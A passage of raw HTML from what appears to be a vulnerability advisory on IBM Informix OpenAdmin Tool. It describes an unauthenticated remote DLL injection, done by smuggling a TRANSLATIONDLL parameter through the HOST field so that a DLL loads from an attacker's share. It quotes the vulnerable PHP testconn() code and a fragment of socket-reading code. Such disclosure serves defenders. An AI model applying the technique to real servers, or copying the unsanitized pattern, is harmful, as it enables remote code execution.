class=\"crayon-line\" id=\"crayon-5924b59798531325907706-21\"><span class=\"crayon-v\">$out<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798531325907706-22\"><span class=\"crayon-st\">while<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">feof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$fp<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798531325907706-23\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">$out<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">fread<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$fp<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798531325907706-24\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798531325907706-25\"><span class=\"crayon-e\">fclose<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$fp<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798531325907706-26\"><span class=\"crayon-k\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$out<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8220;n&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798531325907706-27\"><span class=\"crayon-ta\">?&gt;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0036 seconds] -->  <\/p>\n<p><strong>Remote DLL Injection that leads to remote code execution (1)<\/strong><br \/> IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution. <\/p>\n<p>by submitting connection parameters to <em>index.php<\/em>, setting the &#8216;<em>act<\/em>&#8216; parameter to &#8216;<em>login<\/em>&#8216; and the &#8216;<em>do<\/em>&#8216; one to &#8216;<em>testconn<\/em>&#8216;, it is possible to inject arbitrary statements into a connection string for the underlying Informix database.<\/p>\n<p>The <em>__construct()<\/em> method of the <em>PDO_OAT.php<\/em> library passing them to <em>PDO::__construct()<\/em> without prior sensitization<\/p>\n<p>Given this it is possible to inject the &#8220;<em>TRANSLATIONDLL<\/em>&#8221; connection parameter and to point it to an arbitrary dll from a remote network share, prepared by the attacker. If the dll entry point contains malicious code, this will be executed instantly. This can be done ex. through the &#8216;<em>HOST<\/em>&#8216; parameter of a <em>POST<\/em> request.<\/p>\n<p>Vulnerable code &#8211; <em>C:Program Files (x86)IBM Informix Software BundleOATApache_2.2.22htdocsopenadminmoduleslogin.php<\/em><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b59798535997896370\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;  function testconn($internal=false)  \t{  \t\t$state = 1;  \t\t$statemessage=&#8221;Online&#8221;;  \t\t  \t\t$servername = $this-&gt;idsadmin-&gt;in[&#8216;SERVER&#8217;];&lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; [*]  \t\t$host = $this-&gt;idsadmin-&gt;in[&#8216;HOST&#8217;]; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;   \t\t$port = $this-&gt;idsadmin-&gt;in[&#8216;PORT&#8217;]; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-  \t\t$protocol = $this-&gt;idsadmin-&gt;in[&#8216;IDSPROTOCOL&#8217;]; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;  \t\t\/\/ The below distinction (sysmaster\/sysadmin) is needed to avoid the error (-570:Cannot reference an external ANSI database.) when a tenant owner&#8217;s permissions are being verified.  \t\t\/\/ The error happens when connecting to sysmaster and issuing the query (below, joining sysadmin:ph_allow_list and &lt;tenant_db&gt;:sysusers) to check against sysusers on an ansi db  \t\tif (isset($this-&gt;idsadmin-&gt;in[&#8216;TENANT_DBOWNER&#8217;]) &amp;&amp; ($this-&gt;idsadmin-&gt;in[&#8216;TENANT_DBOWNER&#8217;] == 1 || $this-&gt;idsadmin-&gt;in[&#8216;TENANT_DBOWNER&#8217;] == true)) {  \t\t\t$dbname = &#8220;sysadmin&#8221;;  \t\t} else {  \t\t\t$dbname = &#8220;sysmaster&#8221;;  \t\t}  \t\t$user = $this-&gt;idsadmin-&gt;in[&#8216;USERNAME&#8217;]; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;  \t\t$passwd = $this-&gt;idsadmin-&gt;in[&#8216;PASSWORD&#8217;]; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-  \t\t$envvars = (isset($this-&gt;idsadmin-&gt;in[&#8216;ENVVARS&#8217;]))? $this-&gt;idsadmin-&gt;in[&#8216;ENVVARS&#8217;] : null;     \t\trequire_once (ROOT_PATH.&#8221;lib\/PDO_OAT.php&#8221;);  \t\ttry {  \t\t\t$tdb = new PDO_OAT($this-&gt;idsadmin,$servername,$host,$port,$protocol,$dbname,&#8221;&#8221;,$envvars,$user,$passwd); &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; [**]  \t\t} catch(PDOException $e) {  \t\t\t$message=preg_split(&#8220;\/:\/&#8221;,$e-&gt;getMessage());  \t\t\t$statemessage= $message[sizeof($message)-1];  \t\t\t$statemessage=&#8221;{$this-&gt;idsadmin-&gt;lang(&#8216;ConnectionFailed&#8217;)} {$statemessage}&#8221;;  \t\t\t$state=3;  \t\t}  \t\t  \t\tif (isset($this-&gt;idsadmin-&gt;in[&#8216;TENANT_DBOWNER&#8217;]) &amp;&amp; ($this-&gt;idsadmin-&gt;in[&#8216;TENANT_DBOWNER&#8217;] == 1 || $this-&gt;idsadmin-&gt;in[&#8216;TENANT_DBOWNER&#8217;] == &#8216;true&#8217;))  \t\t{  \t\t\tif ($state == 3) {  \t\t\t\tif ($internal) {  \t\t\t\t\treturn $statemessage;  \t\t\t\t} else {  \t\t\t\t\t$tdb=null;  \t\t\t\t\techo $statemessage;  \t\t\t\t\tdie();  \t\t\t\t}  \t\t\t}    \t\t\t$sql = &#8220;SELECT COUNT(*) as nameexists &#8221;   \t\t\t\t   . &#8220;FROM sysadmin:ph_allow_list al, {$this-&gt;idsadmin-&gt;in[&#8216;TENANT_DBNAME&#8217;]}:sysusers su &#8221;   \t\t\t\t   . &#8220;WHERE al.name = &#8216;{$this-&gt;idsadmin-&gt;in[&#8216;USERNAME&#8217;]}&#8217; &#8221;   \t\t\t\t   . &#8220;AND al.name = su.username &#8221;   \t\t\t\t   . &#8220;AND su.usertype IN (&#8216;D&#8217;,&#8217;R&#8217;) &#8221;  \t\t\t\t   . &#8220;AND al.perm_list LIKE &#8216;%tenant%&#8217;;&#8221;;  \t\t\t\t     \t\t\ttry {  \t\t\t\t\t\t\t  \t\t\t\t$stmt = $tdb-&gt;query($sql,false,true);  \t\t\t\t      \t\t} catch (PDOException $e) {      \t\t\t$err_code = $e-&gt;getCode();      \t\t\t$err_msg = $e-&gt;getMessage();      \t\t\t$statemessage = &#8220;{$this-&gt;idsadmin-&gt;lang(&#8216;ConnectionFailed&#8217;)} {$err_code}:{$err_msg}&#8221;;      \t\t\tif ($internal) {  \t\t\t\t\treturn $statemessage;  \t\t\t\t} else {  \t\t\t\t\t$tdb=null;  \t\t\t\t\techo $statemessage;  \t\t\t\t\tdie();  \t\t\t\t}      \t\t}      \t\t      \t\t$row = $stmt-&gt;fetch();  \t    \t$stmt-&gt;closeCursor();  \t     \t    \tif ( $row[&#8216;NAMEEXISTS&#8217;] == 0 ) {  \t    \t\t$statemessage = &#8220;{$this-&gt;idsadmin-&gt;lang(&#8216;InsufficientPrivs&#8217;)}&#8221;;  \t    \t}  \t    \t  \t    \tif ($internal) {  \t\t\t\treturn $statemessage;  \t\t\t} else {  \t\t\t\t$tdb=null;  \t\t\t\techo $statemessage;  \t\t\t\tdie();  \t\t\t}    \t\t    \t    \t\t    \t\t  \t\t}  \t\t$tdb=null;  \t\techo $statemessage;  \t\tdie();  \t}  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-82\">82<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-83\">83<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-84\">84<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-85\">85<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798535997896370-86\">86<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798535997896370-87\">87<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-2\"><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">testconn<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">internal<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-3\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-4\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">state<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-5\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">statemessage<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;Online&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-6\"><span class=\"crayon-h\">\t\t<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-7\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">servername<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;SERVER&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-8\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;HOST&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-9\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;PORT&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-10\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;IDSPROTOCOL&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-11\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-c\">\/\/ The below distinction (sysmaster\/sysadmin) is needed to avoid the error (-570:Cannot reference an external ANSI database.) when a tenant owner&#8217;s permissions are being verified.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-12\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-c\">\/\/ The error happens when connecting to sysmaster and issuing the query (below, joining sysadmin:ph_allow_list and &lt;tenant_db&gt;:sysusers) to check against sysusers on an ansi db<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-13\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;TENANT_DBOWNER&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span 